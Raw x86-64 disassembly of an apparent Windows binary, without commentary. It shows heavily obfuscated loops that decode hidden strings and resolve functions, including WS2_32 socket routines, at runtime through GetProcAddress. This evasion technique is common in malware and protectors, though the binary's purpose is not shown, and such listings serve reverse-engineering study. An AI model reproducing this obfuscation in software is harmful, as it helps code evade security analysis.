lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x58
jmp 0x14006f800
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
jmp 0x14006f8eb
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x14006f91a
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0x130], dil
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 3
jb 0x14006f35c
movzx r9d, r11b
lea edx, [r9 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006f878
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 0x7a
jae 0x14006f72c
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14006f69b
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14006f386
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
jmp 0x14006f800
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x14006f7fd
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006ef73
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x14006f878
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14006f530
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x14006f757
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14006f619
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x44
jmp 0x14006f3c7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f567
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f58f
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006f7fd
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006f5bb
movzx r9d, r11b
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x14006f7d8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006f5e9
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14006ef73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f4f9
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006f878
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f645
movzx r9d, r11b
lea edx, [r9 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14006f878
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f673
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006ef73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f3ca
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006f800
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f6d5
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f6fa
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006f8eb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f386
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
dec r11
inc r11
jmp 0x14006ef73
movzx r9d, r11b
lea edx, [r9 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0x130]
sub dil, al
sub dil, 0x20
add dil, r10b
add dil, dl
jmp 0x14006f7d8
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x48]
jmp 0x14006f8ee
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f7fd
movzx r9d, r11b
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x130], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006ef73
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14006f878
movzx r9d, r11b
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x130], cl
inc r8
dec r11
inc r11
jmp 0x14006ef73
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006ef73
lea rdx, [r11 + r12]
movzx r10d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
add dil, dl
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x130], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
mov byte [rbp + r11 + 0x130], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
lea rcx, [r11 + r14]
movzx eax, cl
and al, r9b
mov edx, 0x22
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ef73
sub r11b, 4
movzx eax, r10b
and al, r11b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006ef70
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006ef60
lea rdx, [rbp + 0x15f2a40]
jmp 0x14006f9ed
lea rdx, [rbp + 0xda230c]
jmp 0x14006f9ed
lea rdx, [rbp + 0x130]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x150], 0x2b
mov byte [rbp + 0x151], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x152], 0x31
mov byte [rbp + 0x153], 0xa
mov byte [rbp + 0x154], 0x2b
mov byte [rbp + 0x155], 0x26
mov byte [rbp + 0x156], 0x2a
mov byte [rbp + 0x157], 0x23
mov byte [rbp + 0x158], 0x2f
mov byte [rbp + 0x159], reloc.WS2_32.dll_recv
mov byte [rbp + 0x15a], 0x98
xor eax, eax
mov dword [rbp + 0x15b], eax
mov word [rbp + 0x15f], ax
movabs rsi, 0xe14426b7588b16eb
movabs r12, 0x28dd0f036bcda06d
movabs r14, 0xa3cc742609a144c1
movzx edi, byte [rbp + 0x400]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x11
jae 0x140070683
movzx r10d, byte [rbp + r11 + 0x150]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140070677
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006fadc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x6d
jmp 0x14006fb23
je 0x140070609
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070581
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007054f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070511
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400704f0
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400704a9
cmp r8, r11
ja 0x14007066e
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006fb4d
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x14006fbb0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007048d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007046c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007044d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140070432
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140070417
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400703fc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400703cf
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140070122
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400700ff
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400700d7
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400700b2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140070093
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140070078
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007005d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007003e
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007001f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ffee
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006fbc0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140070651
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140070634
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006fda7
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006fd8c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006fd71
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006ffa5
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006ff5c
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006ff1c
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006fef6
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006fbc0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 5]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006fec5
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006fea6
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006fe8b
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006fe70
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006fe55
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006fe32
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006fe0d
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006fde5
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006fdc2
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006fbc0
lea rbx, [r8 + 2]
lea r8, [rbx + 4]
jmp 0x14006fbc0
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x14006fbb0
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14006fb23
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
jmp 0x14006faa6
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400704c3
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006fa93
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fa93
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14007052b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140070565
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140070568
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14007059a
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400705c2
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
mov byte [rbp + r11 + 0x150], dil
inc r11
jmp 0x14006fa93
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
cmp r8, 0x20
jb 0x14006ff0c
movzx r9d, r11b
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400704c3
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
cmp rbx, 0x61
jae 0x14007038e
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400702d6
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ff32
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
lea rax, [rbx + r8]
cmp rax, 0x7a
je 0x1400703b9
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140070202
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x14006ff72
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400705c2
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007059a
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140070568
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140070565
movzx r9d, r11b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14007052b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fa93
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006fa93
movzx r9d, r11b
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400704c3
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140070146
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x14006ffbb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070180
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400701a8
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400705c2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400701d0
movzx r9d, r11b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14007052b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ffbb
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fa93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007022a
movzx r9d, r11b
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x1400704c3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070254
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
dec r11
inc r11
jmp 0x14006fa93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070278
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x140070565
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007029c
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
jmp 0x14007059a
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006ff72
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070310
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070334
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14007059a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007035c
movzx r9d, r11b
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x14007052b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ff32
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006fa93
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x150]
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r10b
jmp 0x14007052b
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x22]
jmp 0x14007059a
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
jmp 0x1400705c2
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x14007059a
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
jmp 0x140070568
movzx r9d, r11b
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x14007052b
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
dec r11
inc r11
jmp 0x14006fa93
movzx r9d, r11b
lea ecx, [r9 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x1400704c3
movzx r9d, r11b
lea ecx, [r9 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x17
sub r9b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x25
add r9b, r10b
mov byte [rbp + r11 + 0x150], r9b
inc r8
dec r11
inc r11
jmp 0x14006fa93
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x63
dec r11
inc r11
jmp 0x14006fa93
movzx r9d, r11b
lea ecx, [r9 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
add r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x4b
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x150], r9b
jmp 0x140070565
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006fa93
lea rcx, [r11 + r12]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x71
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x150], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x47
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x14006fa93
add r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x5f
jmp 0x14006fa90
add r11b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x39
jmp 0x14006fa80
lea rdx, [rbp + 0x1736734]
jmp 0x14007068a
lea rdx, [rbp + 0xbe7e1f]
jmp 0x14007068a
lea rdx, [rbp + 0x150]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x380], 0xfb
mov byte [rbp + 0x381], 0xe8
mov byte [rbp + 0x382], __WSAFDIsSet
mov byte [rbp + 0x383], 0xe8
mov byte [rbp + 0x384], 0x99
mov byte [rbp + 0x385], __WSAFDIsSet
mov byte [rbp + 0x386], 0xe2
mov byte [rbp + 0x387], __WSAFDIsSet
mov byte [rbp + 0x388], 0x8f
mov byte [rbp + 0x389], 0xc1
mov byte [rbp + 0x38a], 0xa3
mov byte [rbp + 0x38b], 0xac
mov byte [rbp + 0x38c], 0xa8
mov byte [rbp + 0x38d], 0xa5
mov byte [rbp + 0x38e], 0xdf
mov byte [rbp + 0x38f], 0xb6
mov byte [rbp + 0x390], 0xfd
